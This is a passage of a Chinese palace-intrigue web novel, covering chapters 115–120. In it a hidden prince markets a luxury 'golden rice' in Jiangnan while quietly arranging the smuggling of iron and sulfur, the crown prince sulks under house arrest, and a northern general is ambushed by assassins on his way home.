第115章 黄金米背后的图谋
钱万三的这句话说出口,整个房间的气氛瞬间松弛了下来。
苏轻雪和柳月雪都暗自松了口气,她们刚才也为叶玄捏了一把汗。
三成的纯利,这个条件确实苛刻,她们生怕钱万三一怒之下拂袖而去。
“钱老板是聪明人。”
叶玄转过身,脸上重新挂起了温和的笑容,“坐下说吧,既然是合作,我们还有些细节需要敲定。”
钱万三擦了擦额头的汗,重新坐下,只是这一次,他的姿态比刚才更加恭敬。
“叶公子请讲。”
“第一,关于定价。”
叶玄伸出一根手指,“黄金米在醉仙楼的售价,必须由我们来定。一碗饭,暂定一百两银子,只高不低。”
“一百两一碗?”钱万三又是一惊。
他本以为这米会做成一道名贵的菜肴,没想到叶玄竟然要直接当饭卖,而且价格如此离谱。
“没错。”叶玄点头,“物以稀为贵。价格越高,才越能彰显它的价值。那些真正的有钱人,在乎的不是花了多少钱,而是他们享受到的东西,是不是独一无二的。”
“我们卖的不是饭,是身份,是地位,是一种高人一等的体验。”
钱万三细细品味着叶玄的话,越想越觉得有道理。他混迹商场多年,自然明白这个道理。
“好,就依公子所言。”
“第二,关于宣传。”
叶玄继续说道,“从明天开始,你要放出风声,就说醉仙楼从海外觅得一种神米,名为‘黄金米’,食之可强身健体,延年益寿。每日限量供应十碗,价高者得。”
“每日只卖十碗?”钱万三更不解了,“公子,这米的产量……”
“产量的事情你不用担心,我自有分寸。”
叶玄打断他,“记住,饥饿营销,永远是最好的营销。越是得不到的,人们就越想得到。我们要做的,就是吊足所有人的胃口,让吃上一碗黄金米饭,成为整个苏城,乃至整个江南最值得炫耀的事情。”
钱万三眼中精光一闪,对叶玄的商业头脑佩服得五体投地。
这些手段,他不是不懂,但像叶玄这样信手拈来,并且运用得如此炉火纯青的,他还是第一次见。
“公子高见,钱某受教了。”
“第三,也是最重要的一点。”
叶玄的神情严肃了起来,“除了分红之外,我需要钱老板帮我做几件事。”
“公子请说,只要不违背朝廷法纪,钱某一定尽力而为。”钱万三连忙表态。
叶玄笑了笑:“钱老板放心,不是让你去**放火。”
他看向一旁的苏轻雪,苏轻雪会意,将一张早就准备好的清单递了过去。
钱万三疑惑地接过清单,打开一看,瞳孔不由得微微收缩。
清单上罗列的东西五花八门,最上面是一些珍稀的药材,这个倒还正常。
但越往下看,他的心就越沉。
精铁、硫磺、硝石……
这些可都是朝廷严格管控的禁运物资,尤其是精铁,私下买卖超过一定数量,那可是要杀头的死罪!
“叶……叶公子,这……”
钱万三的声音都有些发颤,手中的清单仿佛成了烫手的山芋。
他现在终于明白,对方图的根本就不是钱,而是他遍布江南的商业网络和人脉关系。
这是要让他帮忙走私军用物资!
这是一场豪赌,赌输了,就是抄家灭族的下场。
“钱老板,你是个商人。”叶玄的语气很平静,“风险和收益,永远是成正比的。黄金米能给你带来多大的利润,你心里有数。而我让你做的这些,对你而言,不过是利用你现有的渠道,多运一些‘货物’而已。”
“你放心,所有的事情,都由我们的人来做,不需要你的人沾手。我需要的,只是你的渠道,一条能够将这些东西,神不知鬼不觉地运出江南的渠道。”
“而且,”叶玄加重了语气,“这些东西,我同样会付钱,并且,会以高于市价三成的价格,从你这里‘购买’。”
钱万三的额头上,冷汗又冒了出来。
他看着叶玄,这个年轻人脸上始终挂着温和的笑容,但说出来的话,却带着一种让人无法抗拒的压力。
他这是把自己绑上了一条船,一条不知道会驶向何方的贼船。
下船?
他看了看桌上的那个锦囊。<
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br>他知道,自己已经没有下船的机会了。
拒绝的后果,他承担不起。
“叶公子,你……你到底是什么人?”
钱万三艰难地咽了口唾沫,问出了心中最大的疑惑。
“一个生意人。”叶玄的回答滴水不漏,“一个想在江南,安安稳稳做点生意的外乡人。”
钱万三苦笑一声。
信你才怪。
哪个生意人做生意,是冲着铁矿和硫磺去的?
他知道,自己已经卷入了一场巨大的漩涡之中,对方的背景,恐怕比他想象的还要深不可测。
他沉默了很久,脑子里一片混乱。
一边是泼天的富贵,一边是万丈的深渊。
最终,求富贵的本能,压倒了对未知的恐惧。
他一咬牙,将那张清单小心翼翼地折好,揣进怀里。
“好!”他沉声说道,“公子要的东西,三个月内,我一定想办法凑齐!”
“很好。”叶玄满意地点了点头,“钱老板,你会为你今天的决定感到庆幸的。”
他站起身,亲自将钱万三送到门口。
“合作愉快。”
“合作愉快。”
钱万三挤出一个比哭还难看的笑容,带着掌柜,失魂落魄地离开了。
看着他远去的背影,一直没有说话的柳月雪才担忧地开口:“叶公子,我们就这样相信他?万一他去官府告发我们怎么办?”
“他不会的。”苏轻雪替叶玄回答了这个问题,“他是个精明的商人,商人逐利。只要我们能给他带来源源不断的利益,他就是我们最忠实的盟友。更何况,他现在已经上了我们的船,告发我们,等于也是在砸他自己的饭碗。”
“轻雪说得对。”叶玄重新坐下,端起那杯已经有些凉了的茶,一饮而尽。
“从今天起,我们在这江南,算是真正有了一个落脚点。”
他的目光望向窗外,苏城的万家灯火映在他的瞳孔里,仿佛一片璀璨的星河。
但他的心里却很清楚,这只是第一步。
江南,是太子的地盘。
在这里建立自己的势力,无异于在猛虎的嘴边拔牙。
前路,依旧漫长。
第116章 震惊江南的米饭
第二天一大早,苏城的大街小巷里,便开始流传起一个令人咋舌的消息。
“听说了吗?城里最大的酒楼醉仙楼,昨天得了一样宝贝!”
“什么宝贝?难不成是前朝的古董字画?”
“比那金贵多了!听说是一种米,叫什么‘黄金米’,蒸出来的饭,香飘十里!”
“一碗饭能有多香?吹牛吧!”
“这可不是我吹的,是醉仙楼自己放出的消息!还说啊,这米吃了能强身健体,延年益寿,跟仙丹似的!”
“真的假的?那得卖多少钱一碗?”
“嘿,这你就问到点子上了!醉仙楼说了,这米啊,一天就卖十碗,而且不标价,谁出的钱多就卖给谁!”
“我的天!这不就是抢钱吗?谁会花大价钱去吃一碗饭啊?”
流言如风一般,在茶馆、酒肆、勾栏瓦舍间迅速传开。
普通百姓听了,只当是个奇闻异事,笑一笑也就过去了。
但这个消息,传到苏城那些真正的富商巨贾、达官贵人耳朵里,味道就变了。
延年益寿?
价高者得?
这两个词,精准地抓住了他们的心思。
对他们这些已经站在财富和权力顶端的人来说,钱,只是一个数字。
什么山珍海味没吃过?
什么奇珍异宝没见过?
他们最怕的,是死。
最想要的,是活得更久。
现在,有一样东西,据说能延年益寿,而且还是用一种最独特、最彰显身份的方式来售卖。
这立刻就勾起了他们浓厚的兴趣。
当天中午,醉仙楼还没到饭点,门口就已经停满了各式各样华丽的马车。
苏城有头有脸的人物,几乎都来了。
他们三五成群,坐在大堂里,看似在品茶聊天,实则目光都在暗中较劲,耳朵都竖着,等着那传说中的“黄金米”登场。
钱万三站在二楼的雅间,看着楼下座无虚席的大堂,手心都有些出汗。
他从商半生,还是第一次见到这种阵仗。
“东家,您说……这能行吗?”
掌柜的站在他身后,心里七上八下的,“一百两银子起拍一碗饭,会不会把客人都给吓跑了?”
“跑?”钱万三冷哼一声,“你看他们哪个像是要跑的样子?他们现在,就跟闻到腥味的猫一样,一个个都等着看好戏呢!”
他现在对叶玄的手段,是彻底服气了。
仅仅用了一天的时间,就把整个苏城的目光都聚焦到了醉仙楼。
这种本事,简直神了。
午时三刻,吉时已到。
掌柜的深吸一口气,走到大堂中央的台子上,清了清嗓子。
“各位老爷,各位贵客,感谢大家今日赏脸光临我们醉仙楼!”
“想必大家都是为了我们醉仙楼新得的‘黄金米’而来,废话我也不多说。此米乃天赐神物,功效非凡,但产量稀少,每日只能供应十碗。”
“今日的第一碗,现在开始竞价,底价……一百两白银!”
话音刚落,大堂内便响起一阵不大不小的议论声。
一百两,买一碗饭,确实是闻所未闻。
就在众人犹豫之际,一个坐在角落里的锦袍胖子,懒洋洋地举起了手里的折扇。
“我出一百一十两。”
众人循声望去,都认得此人,是苏城有名的绸缎商,王老板。
“王老板出手了!”
“一百一十两,啧啧,真有钱。”
王老板话音刚落,他对面桌一个身材精瘦的男人便冷笑一声。
“王胖子,一百一十两也好意思拿出手?我出一百五十两!”
这是城南的粮商,李老板,向来与王胖子不对付。
“李扒皮,你存心跟我过不去是吧?”王胖子脸色一沉,“我出二百两!”
“二百五!”
“你!”
眼看着两人就要吵起来,一个更具分量的声音响了起来。
“三百两。”
众人回头一看,说话的是坐在靠窗位置的一位老者。
老者身穿朴素的青布长衫,身边只跟了一个小厮,看起来并不起眼。
但认识他的人,都倒吸了一口凉气。
“是……是周半城!”
“我的天,连他老人家都惊动了!”
周半城,苏城真正的巨富,据说苏城一半的房产地契,都在他手里,所以人送外号“周半城”。
他一开口,王胖子和李老板立刻就蔫了,不敢再吱声。
“三百两,还有没有更高的?”掌柜的兴奋地喊道。
大堂内一片寂静。
三百两,已经超出了一般富商的承受能力。
就在掌柜的准备一锤定音之时,二楼的一个雅间里,传来一个慵懒的女声。
“五百两。”
众人哗然,齐齐抬头望向二楼。
是谁,竟然敢跟周半城抢东西?
只见雅间的窗户被
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推开,一个穿着华贵宫装,看起来二十七八岁的貌美女子,正斜倚在窗边,饶有兴致地看着楼下的热闹。
“是……是织造府的孙夫人!”
“她怎么也来了?”
孙夫人,乃是江南织造孙大人的爱妾,平日里最是奢靡。
周半城的眉头皱了皱,但没有再开口。
他虽然有钱,但却不想为了这点小事,去得罪官府的人。
“五百两一次!五百两两次!五百两……”
“一千两。”
一个平淡的声音,从另一个雅间传来,打断了掌柜的话。
整个醉仙楼,瞬间陷入了死一般的寂静。
一千两!
买一碗饭!
所有人都觉得自己的耳朵出了问题。
就连二楼的孙夫人,脸上的笑容也僵住了。她没想到,竟然还有比她更疯的人。
钱万三站在自己的雅间里,手都在抖。
他知道,成了!
这把火,彻底烧起来了!
很快,在万众瞩目之下,一个伙计托着一个盖着金盖的玉碗,小心翼翼地送进了那个出价一千两的雅间。
当金盖被揭开的那一刹那。
一股无法用言语形容的奇香,瞬间从雅间里飘散出来,如同有生命一般,迅速弥漫了整个醉仙楼。
那香味,霸道,浓郁,带着一股奇异的生命气息。
楼下大堂里正在吃饭的客人,闻到这股香味,只觉得口舌生津,腹中馋虫大动,再看自己桌上的山珍海味,顿时觉得索然无味。
“好香!这是什么味道?”
“天啊,光是闻着味儿,我都感觉自己要醉了。”
“一千两……看来是花值了!”
大堂内的气氛,被这股香味彻底点燃。
所有人的脸上,都露出了狂热和渴望。
他们现在毫不怀疑,这黄金米,绝对是神物!
接下来,第二碗,第三碗的竞价,变得愈发疯狂。
价格一路飙升,最终,十碗饭,竟然拍出了近两万两白银的天价!
钱万三站在楼上,看着楼下那些为了抢一碗饭而争得面红耳赤的富豪们,只觉得这一切都像是在做梦。
他知道,从今天起,醉仙楼,不,是黄金米的名声,将彻底响彻整个江南!
而这一切的缔造者,那个年轻人,此刻正悠闲地坐在客栈里,仿佛这一切都与他无关。
钱万三的心中,对叶玄的敬畏,又深了一层。
第117章 东宫里的怨气
大乾,京城,东宫。
与江南苏城的喧嚣热闹不同,此刻的东宫,却是一片死气沉沉。
太子叶天被禁足已经有些时日了。
往日里门庭若市的东宫,如今变得门可罗雀,除了几个负责洒扫的太监宫女,再也看不到旁的人影。
书房内,叶天烦躁地将手中的一本奏折扔在地上。
“废物!都是一群废物!”
他面色阴沉,自从上次在朝堂上被风啸天当众打脸,害得他被父皇禁足之后,他感觉自己做什么都不顺。
那些平日里对他阿谀奉承的官员,现在一个个都躲得远远的,生怕被他牵连。
朝堂上的风向,似乎也在一夜之间变了。
以前支持他的那些人,现在都变得模棱两可,不敢再轻易站队。
这一切,都让叶天感到了前所未有的危机和愤怒。
“风啸天!都怪那个该死的莽夫!”
他一拳砸在桌子上,上好的金丝楠木桌面,被他砸出一个浅坑。
就在他怒火中烧之时,一个小太监蹑手蹑脚地走了进来,尖着嗓子禀报。
“启禀殿下,七公主殿下来了。”
“她来做什么?”叶天不耐烦地皱了皱眉。
对于这个刁蛮任性的妹妹,他向来没什么好感,只是把她当成一颗可以利用的棋子。
但现在他正在气头上,实在没心情应付她。
“让她进来吧。”
很快,一身粉色宫装的叶清歌,便蹦蹦跳跳地走了进来。
“太子哥哥!”她一进门,就咋咋呼呼地喊道,“你怎么还待在这破书房里啊,我都快闷**!”
“你来有事?”叶天的语气很冷淡。
叶清歌似乎没听出他语气中的不悦,自顾自地坐到一旁的椅子上,拿起桌上的葡萄就吃了起来。
“我能有什么事,还不是来看看你。”她一边吃,一边含糊不清地说道,“听说你被父皇骂了,还被关了禁闭,真的假的?”
提到这事,叶天本就难看的脸色,变得更加阴沉。
“谁在你面前嚼舌根?”
“宫里都传遍了。”
叶清歌吐出一颗葡萄籽,满不在乎地说道,“都说你在朝堂上,被那个北凉来的镇北王给说得哑口无言,连带着户部的陈尚书都下了大狱,啧啧,真是丢人。”
“你闭嘴!”叶天猛地一拍桌子,站了起来,“你懂什么!”
叶清歌被他吓了一跳,手里的葡萄都掉在了地上。
“你……你吼我做什么?”
她有些委屈地撇了撇嘴,“我又没说错。”
看着她那副不知天高地厚的样子,叶天心中的怒火更盛,但最终还是强压了下去。
他现在正是需要帮手的时候,不能把所有人都得罪光了。
他重新坐下,揉了揉发胀的太阳穴,缓和了语气。
“我不是在吼你,我只是……心里烦。”
“烦什么?”叶清歌好奇地凑了过来,“不就是被父皇骂了几句吗?父皇哪天不骂人?过几天他就忘了。”
“你以为事情有那么简单?”叶天冷笑一声,“父皇这次,是真的动怒了。他不仅禁了我的足,还把我手底下好几个得力的人都给撤换了。他这是在削我的权!”
“啊?这么严重?”叶清歌也有些惊讶。
“何止是严重。”叶天咬着牙说道,“我感觉,父皇他……他好像越来越不信任我了。”
“自从上次叶玄那个废物的那件事之后,父皇就对我冷淡了许多。这次风啸天进京,更是处处偏袒他,反而把我这个太子,当着满朝文武的面训斥。”
“他心里到底在想什么?我才是他最大的儿子,是大乾未来的皇帝!他为什么要去相信一个手握重兵的外姓王?”
叶天越说越激动,声音里充满了怨气和不甘。
叶清歌听着,也忍不住跟着抱怨起来。
“就是啊!父皇也真是的,整天板着一张脸,好像谁都欠他钱似的。上次我想出宫去玩,他都不准,还把我骂了一顿,说我不知礼数。”
“还有宫里那些妃子,一个个看着都跟假人一样,笑得比哭还难看。尤其是那个柳贵妃,仗着自己家里有点势力,眼睛都长到天上去了,看见我都爱答不理的。”
兄妹两人,就在这空旷的书房里,开始大倒苦水,吐槽起了自己的父皇和宫里的种种不如意。
他们似乎都忘了,这世上没有不透风的墙。
他们此刻说的每一个字,都可能通过某些看不见的渠道,传到他们口中那个“整天板着一张脸”的皇帝耳朵里。
“说起来,太子哥哥,有件事我一直想问你。”叶清歌像是突然想起了什么,话锋一转。
“什么事?”叶天心不在焉地应了一句。
“就是……就是叶玄那个废物。”叶清歌的语气里带着一丝好奇和幸灾乐祸,“他不是被父皇打个半死,流放到北凉去了吗?你不也让人……,所以他现在……是不是已经变成一堆白骨了?”
提到叶玄,叶天的脸色瞬间变得有些不自然。
他当然知道叶玄没死。
不仅没死,估计还在北凉那边,跟风啸天搅和到了一起,成了他现在最大的心腹之患。
那个所谓的叶潜渊,他派去的人已经查了很久,但一点线索都没有,就像是凭空冒出来的一样。
但他越查不到,心里就越是怀疑,那个叶潜渊,就是叶玄!
一个本该死在路上的废物,不仅活了下来,还摇身一变,成了能左右北凉局势的神秘人物。
这件事,让叶天感到无比的棘手和不安。
但他怎么可能在叶
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清歌这个妹妹面前,承认自己的无能?
承认自己连一个废物都处理不掉?
他冷哼一声,脸上露出一副不屑的表情,刻意做出一副尽在掌握的样子。
“一个已经**的人,还提他做什么?”
“**?真的**?”叶清歌的眼睛一亮,追问道。
“当然。”叶天说谎说得脸不红心不跳,“那种货色,也配让本宫亲自费心?我早就派人在半路上把他处理干净了。现在,他的尸骨,估计都已经被野狼啃光了。”
“太好了!”叶清歌一听,立刻拍手叫好,脸上是毫不掩饰的喜悦。
“那个杂种,早就该**!留着他也是浪费粮食。太子哥哥,你可真是为我们皇家,除了一大害!”
看着叶清歌那副天真又恶毒的样子,叶天的心里,得到了一丝病态的满足。
他喜欢这种被人崇拜和吹捧的感觉,哪怕是建立在一个谎言之上。
“行了,别说这些晦气事了。”
叶天摆了摆手,重新坐回主位,端起了茶杯。
叶清歌的心情却因为这个“好消息”而变得格外舒畅。
她眼珠子一转,又凑到了叶天身边,拉着他的袖子撒起娇来。
“太子哥哥,既然那个废物已经**,你心里的烦心事也少了一件。不如……你陪我出去玩吧?”
“出去玩?”叶天皱眉,“去哪儿玩?”
“去江南啊!”叶清歌的脸上充满了向往,“我听宫里的嬷嬷说,江南的秋天最美了,有红色的枫叶,有好吃的大闸蟹,还有好多好多漂亮的衣服和首饰!”
“而且,我最近听说,江南苏城出了个特别有意思的东西,叫什么黄金米,一碗饭能卖到上千两银子呢!我想去亲眼看看,到底是什么样的神仙米,能卖这么贵。”
听到“江南”两个字,叶天端着茶杯的手,微微一顿。
江南,那是他的地盘。
是他经营多年的钱袋子。
但现在,他被父皇禁足在东宫,连宫门都出不去,还谈什么去江南。
“胡闹!”他沉下脸,“我现在被父皇禁足,哪儿也去不了。你也不许去!给我老老实实待在宫里!”
“为什么啊?”叶清歌不乐意了,嘟起了嘴,“你不能去,我自己去还不行吗?反正父皇也不管我。”
“不行!”叶天的语气不容置疑,“江南那边,最近不太平。你一个公主,孤身一人跑过去,万一出了什么事怎么办?”
他口中说着不太平,心里想的却是另一回事。
他安插在江南的那些人,最近传回来的消息,都有些含糊其辞,尤其是关于那个突然冒出来的“黄金米”,他总感觉背后没那么简单。
在事情没弄清楚之前,他不想让叶清歌这个蠢货跑去给他添乱。
第118章 公主下江南
“我不管我不管!我就要去!”叶清歌的公主脾气上来了,开始在地上撒泼打滚,“你被父皇关着,还要把我关着!你是不是见不得我好啊!呜呜呜……”
“你……”叶天被她吵得头疼欲裂。
他现在是焦头烂额,实在没精力跟她耗下去。
“行了行了,别哭了!”他烦躁地挥了挥手,“要去是吧?要去就快点去!省得在这里烦我!”
“真的?”叶清歌立刻从地上一跃而起,眼泪说收就收。
“滚滚滚!”叶天看都懒得再看她一眼。
“嘻嘻,多谢太子哥哥!”叶清歌达到目的,立刻喜笑颜开,“那我这就回去收拾东西,明天就出发!等我到了江南,给你带好吃的,好玩的!”
说完,她便像一只快活的蝴蝶,一溜烟地跑出了书房。
看着她远去的背影,叶天脸上的烦躁之色更重了。
他总觉得,让叶清歌这个没脑子的家伙去江南,不是什么好事。
但现在,他也管不了那么多了。
他满脑子都是朝堂上的失利,父皇的冷漠,以及风啸天那张可恶的脸。
一股无名火,在他的胸中越烧越旺。
他需要发泄。
他站起身,走到书房角落的一个书架前,熟练地转动了一个不起眼的机关。
“嘎吱——”
书架缓缓移开,露出了一个黑漆漆的地道入口。
叶天没有丝毫犹豫,一头钻了进去。
地道的另一头,是柳贵妃的寝宫。
只有在那个女人的身上,他才能找到片刻的慰藉,才能暂时忘记自己身为太子的失败和**。
……
叶清歌的动作很快,说走就走。
第二天一早,她就打着“为母后祈福,前往江南普陀寺上香”的旗号,浩浩荡荡地带着一队宫女太监和侍卫,离开了京城。
皇帝叶擎天听闻此事,只是皱了皱眉,并没有阻止。
在他看来,一个刁蛮公主,离京去散散心,总比留在宫里惹是生非要好。
他现在的心思,全都在北凉,在风啸天身上。
他派去和风啸天同行的监军,每日都会有密报传回。
密报上说,风啸天一路上都很配合,没有任何异动。
但这,反而让叶擎天更加不安。
风啸天就像一头被关进笼子的猛虎,他越是安静,就越是危险。
叶擎天总感觉,有什么他无法掌控的事情,正在暗中发生。
……
通往江南的官道上。
叶清歌的队伍,排场极大。
十几辆马车,前后簇拥着上百名禁军侍卫,旌旗招展,所过之处,地方官无不前来拜见,百姓纷纷退避。
叶清歌坐在最中间那辆装饰得最为华丽的马车里,却觉得无聊透顶。
“小翠,还有多久才能到江南啊?”她掀开车帘,看着窗外一成不变的田野风光,打了个哈欠。
“回公主殿下,咱们这才刚出京城地界,离江南还远着呢。”贴身宫女小翠连忙回答。
“真没意思。”叶清歌放下车帘,重新躺倒在柔软的坐垫上,“早知道这么慢,我就不带这么多人出来了。”
她这次南下,除了想去见识一下江南的繁华,还有一个不足为外人道的小心思。
她想去看看,那个传说中的“黄金米”,到底是不是真的那么神奇。
如果真的能延年益寿,那她一定要想办法弄一些回来,献给父皇。
父皇要是龙颜大悦,说不定就会解除太子哥哥的禁足,到时候,她在宫里的日子,也能好过一些。
她虽然刁蛮任性,但也知道,太子哥哥才是她最大的靠山。
一荣俱荣,一损俱损。
抱着这样的小算盘,叶清歌对这次江南之行,充满了期待。
她完全没有意识到,她正一头扎进一个由她最瞧不起的“废物老八”亲手布下的局里。
而此时的叶玄,正在苏城的悦来客栈里,听着钱万三的汇报。
“叶公子,您真是神了!”钱万三的脸上,满是激动和崇拜,再也没有了初见时的精明和试探。
“这才短短十天功夫,‘黄金米’的名声,已经彻底传遍了整个江南!”
“现在,每天来我们醉仙楼求一碗米饭的人,都快把门槛给踏破了。别说一千两一碗,就
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是出两千两,三千两,都有人抢着要!”
“苏城周边的那些富商,甚至连金陵、扬州那边的大人物,都派人快马加鞭地赶过来,就为了能吃上一口。”
钱万三说得眉飞色舞,“按照您的吩咐,咱们每天还是只卖十碗。这下可把那些人给急坏了,现在想吃一碗饭,都得提前半个月预定!”
“这十天,光是卖这十碗饭,咱们的纯利,就已经超过了五十万两!”
他说着,将一本厚厚的账本,恭敬地递到叶玄面前。
“公子,这是账目,请您过目。按照约定,您占三成,这是十五万两的银票。”
叶玄没有去接那本账本,也没有看那些银票。
他对这些数字,并不感兴趣。
“我要的东西,准备得怎么样了?”他开口问道。
钱万三的脸色一正,连忙回答:“公子放心!您要的那些药材,已经全部凑齐了。至于精铁和硫磺……”
他顿了顿,压低了声音,“这些东西查得严,我不敢一次性弄太多。不过,第一批五百斤精铁,和三百斤硫磺,已经通过我的商路,秘密运出城了,正往北边送,估计再有半个月,就能到云安城了。”
“很好。”叶玄终于满意地点了点头,“钱不是问题,我要你用最快的速度,把东西给我凑齐。”
“是是是,钱某明白。”钱万三连连点头。
他现在对叶玄,是又敬又怕。
敬的是对方神鬼莫测的商业手段,怕的是对方深不可测的背景和图谋。
他现在已经彻底把自己和叶玄绑在了一起,只能一条道走到黑了。
“对了,公子。”钱万三像是想起了什么,又说道,“最近城里来了不少生面孔,看样子都是从京城来的。其中有一拨人,排场极大,听说是宫里出来的一位公主。”
“公主?”叶玄的眉头微微一挑。
“是,好像是当今的七公主。”
叶玄的眼中,闪过一丝冷意。
叶清歌?
她怎么会跑到江南来?
是巧合,还是……冲着自己来的?
叶玄的心中,瞬间闪过无数个念头。
第119章 北归途中的杀机
北风如刀,刮过荒芜的官道。
一支数百人的队伍,正在这片萧瑟的土地上缓缓行进。
队伍的中间,是一辆不起眼的黑色马车,风啸天就坐在里面。
他闭目养神,脸上看不出任何表情,但紧握的双拳,却暴露了他内心的不平静。
离开京城,已经快二十天了。
越是靠近北凉,他心中的那股不安,就越是强烈。
这一趟京城之行,虽然有惊无险,甚至还反将了太子一军,但他知道,事情绝没有那么简单。
叶擎天,不会就这么轻易地放过他。
那个跟在他身边的监军,就是悬在他头顶的一把刀。
“王爷。”
马车外,传来监军那尖细的声音。
一个面白无须,眼角吊着的老太监,骑着一匹高头大马,与风啸天的马车并行。
“天色不早了,前面有个驿站,咱们今晚就在那歇脚吧。”
风啸天睁开眼睛,掀开车帘看了一眼。
天边,残阳如血。
官道的前方,确实有一座孤零零的驿站,在荒野中显得格外突兀。
“也好。”风啸天淡淡地应了一声。
这名监军名叫王安,是皇帝身边最得宠的太监之一。
一路上,此人仗着自己是皇帝派来的,处处对风啸天指手画脚,言语间充满了傲慢和轻视。
镇北王手下的那些将士,早就看他不顺眼,要不是风啸天压着,恐怕早就把他拖下马,暴打一顿了。
风啸天懒得与他计较。
在他眼里,这种人,不过是皇帝养的一条狗。
跟狗置气,没必要。
队伍缓缓驶入驿站。
驿站很小,看起来有些破败,只有几个驿卒,见到这么大一支队伍,吓得战战兢兢。
王安嫌弃地用手帕捂着鼻子,皱着眉头,对驿站的环境十分不满。
“这什么破地方!连个像样的房间都没有!”
他指着一个驿卒,颐指气使地命令道:“去,把你们这最好的房间,给咱家收拾出来!再准备一桌上好的酒菜!要是伺候不好咱家,仔细你们的皮!”
驿卒吓得连连点头,跑去准备了。
风啸天没有理会他,自顾自地找了个角落坐下,从行囊里拿出干粮和水囊。
他手下的亲卫,则警惕地散布在驿站四周,查看着周围的环境。
“王爷,这里有点不对劲。”一名亲卫队长,走到风啸天身边,低声说道。
“怎么说?”
“**静了。”亲卫队长说道,“这驿站虽然偏僻,但也是官道上的必经之路,按理说,多少该有些过往的商旅。可我们进来这么久,除了那几个驿卒,连个鬼影子都没看到。”
“而且,那几个驿卒的眼神,躲躲闪闪的,看着不像好人。”
风啸天闻言,不动声色地扫了那几个正在忙碌的驿卒一眼。
确实,这几个人,虽然穿着驿卒的衣服,但手掌粗糙,关节突出,太阳穴微微鼓起,分明是练家子。
他的心,猛地一沉。
有埋伏!
“传令下去,让弟兄们都打起精神,刀不离手,甲不离身。”风啸天低声吩咐道。
“是!”亲卫队长领命,悄无声息地退了下去。
夜色,很快就笼罩了整个驿站。
驿站的大堂里,点起了几盏昏暗的油灯。
王安坐在主位上,大口地吃着酒肉,几个驿卒在一旁小心地伺候着。
风啸天和他的亲卫们,则坐在另一边,默默地啃着干粮。
“王爷,您怎么不吃啊?”王安喝得满脸通红,举着酒杯,阴阳怪气地对风啸天说道,“这可是咱家特意让他们准备的,您也尝尝?总吃那些粗粮,多没味道啊。”
“不必了,本王吃不惯。”风啸天冷冷地回了一句。
“哎,王爷就是王爷,真是体恤下属啊。”王安怪笑一声,“不像咱家,就是个劳碌命,吃不好就睡不着。
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”
他话音刚落。
异变突生!
那几个正在伺候他的驿卒,眼中突然凶光大盛!
他们从怀中抽出雪亮的**,没有丝毫预兆,狠狠地刺向王安的要害!
同时,驿站的四面八方,也响起了密集的破空之声!
无数支淬了剧毒的**箭,如同雨点一般,从窗户和门缝处射了进来,目标直指大堂内的所有人!
“有刺客!保护王爷!”
风啸天的亲卫们反应极快,第一时间抽出兵刃,将风啸天团团围住,用盾牌和身体,挡住了射来的箭雨。
而另一边,王安的惨叫声已经响彻了整个驿站。
他虽然是皇帝身边的红人,但本身却不会半点武功。
那几个假扮驿卒的刺客,出手又快又狠,他根本来不及反应,身上就已经中了好几刀,鲜血瞬间染红了他的衣袍。
“救……救我……”
他惊恐地看着周围那些身穿禁军服饰的侍卫,希望他们能上来救自己。
然而,那些禁军侍卫,却像木头一样,站在原地,一动不动。
他们的脸上,甚至连一丝惊讶的表情都没有。
王安的眼中,露出了绝望和难以置信。
他终于明白,这些刺客,和这些禁军,根本就是一伙的!
他们的目标,不是他这个太监。
而是……镇北王,风啸天!
他,不过是一个被推出来,用来麻痹风啸天的棋子,一个弃子!
“噗!”
一把**,狠狠地刺穿了他的心脏。
王安瞪大了眼睛,直挺挺地倒了下去,死不瞑目。
解决了王安,那几个刺客,连同那些原本负责护送的禁军,同时调转方向,如狼似虎地朝着风啸天扑了过来!
驿站之外,也响起了震天的喊杀声。
无数黑衣蒙面的刺客,从黑暗中涌出,将小小的驿站,围得水泄不通。
一场血腥的绞杀,就此展开!
第120章 镇北王,生死未卜。
喊杀声震天,血腥味在驿站的空气中迅速弥漫。
这是一场蓄谋已久的刺杀。
从那些假扮驿卒的刺客,到负责护送的禁军,再到外面将驿站团团包围的黑衣人,所有环节都经过了精心的设计。
他们的目标只有一个,那就是让镇北王风啸天,永远也回不到北凉。
“结阵!死守!”
亲卫队长张翼独眼圆睁,发出一声怒吼。
他是跟着风啸天从尸山血海里爬出来的老人,身经百战,面对如此绝境,没有丝毫慌乱。
剩下的几十名亲卫,迅速组成一个圆阵,将风啸天护在最中心。
他们每个人,都是镇北军中百里挑一的精锐,以一当十。
但敌人实在太多了。
里三层,外三层,黑压压的一片,根本看不到尽头。
而且,这些刺客的实力,都极为强悍,出手狠辣,招招致命,显然是某个势力精心培养的死士。
“风啸天!今天就是你的死期!”
一名领头的黑衣人,手持一把鬼头大刀,狞笑着冲了上来。
他的实力,赫然已经达到了五品化劲境!
“找死!”
张翼怒喝一声,挥舞着手中的长刀,迎了上去。
“锵!”
刀刀相撞,火星四溅。
张翼只觉得一股巨力从刀身传来,虎口一麻,整个人被震得连连后退。
对方的实力,竟然比他还要高出一筹!
“王爷!您快走!我们给您断后!”张翼声吼道。
他知道,今天恐怕是凶多吉少了。
他们这些人,死不足惜,但王爷,绝对不能出事!
北凉,不能没有镇北王!
“走?”风啸天看着周围一个个倒在血泊中的亲卫,眼中燃起了熊熊怒火。
这些人,都是跟他出生入死的兄弟!
现在,却因为他,惨死在这里。
“今天,谁也别想走!”
风啸天一把推开护在身前的亲卫,从腰间抽出了他的佩剑。
那是一把看起来平平无奇的铁剑,剑身甚至有些斑驳的锈迹。
但当他握住剑柄的那一刻,整个人的气势,瞬间变了。
一股如同山岳般沉凝,又如同深渊般浩瀚的气息,从他身上爆发开来!
四品练意境!
他那双深邃的眼眸,此刻变得如同两颗燃烧的星辰,扫过在场的每一个刺客。
所有被他目光扫到的人,都感觉心头一寒,仿佛被一头绝世凶兽盯上,手脚都变得冰凉。
“杀!”
风啸天没有一句废话,只吐出一个字。
他的身影,如同一道黑色的闪电,瞬间冲入了人群之中。
剑光闪过,血花四溅。
没有华丽的招式,只有最简单,最直接的劈、砍、刺。
但每一剑挥出,都带着一股无可匹敌的意志。
那是镇守边疆二十年,从尸山血海中磨砺出的杀伐之意!
一名五品刺客,甚至没看清风啸天是如何出手的,就感觉脖子一凉,脑袋已经冲天而起。
鲜血,喷了旁边同伴一脸。
“好强!”
那名手持鬼头大刀的头领,眼中露出了骇然之色。
他知道风啸天是四品高手,但没想到,竟然强到了这种地步!
寻常的四品,根本不可能有如此恐怖的杀伤力!
“一起上!耗死他!”
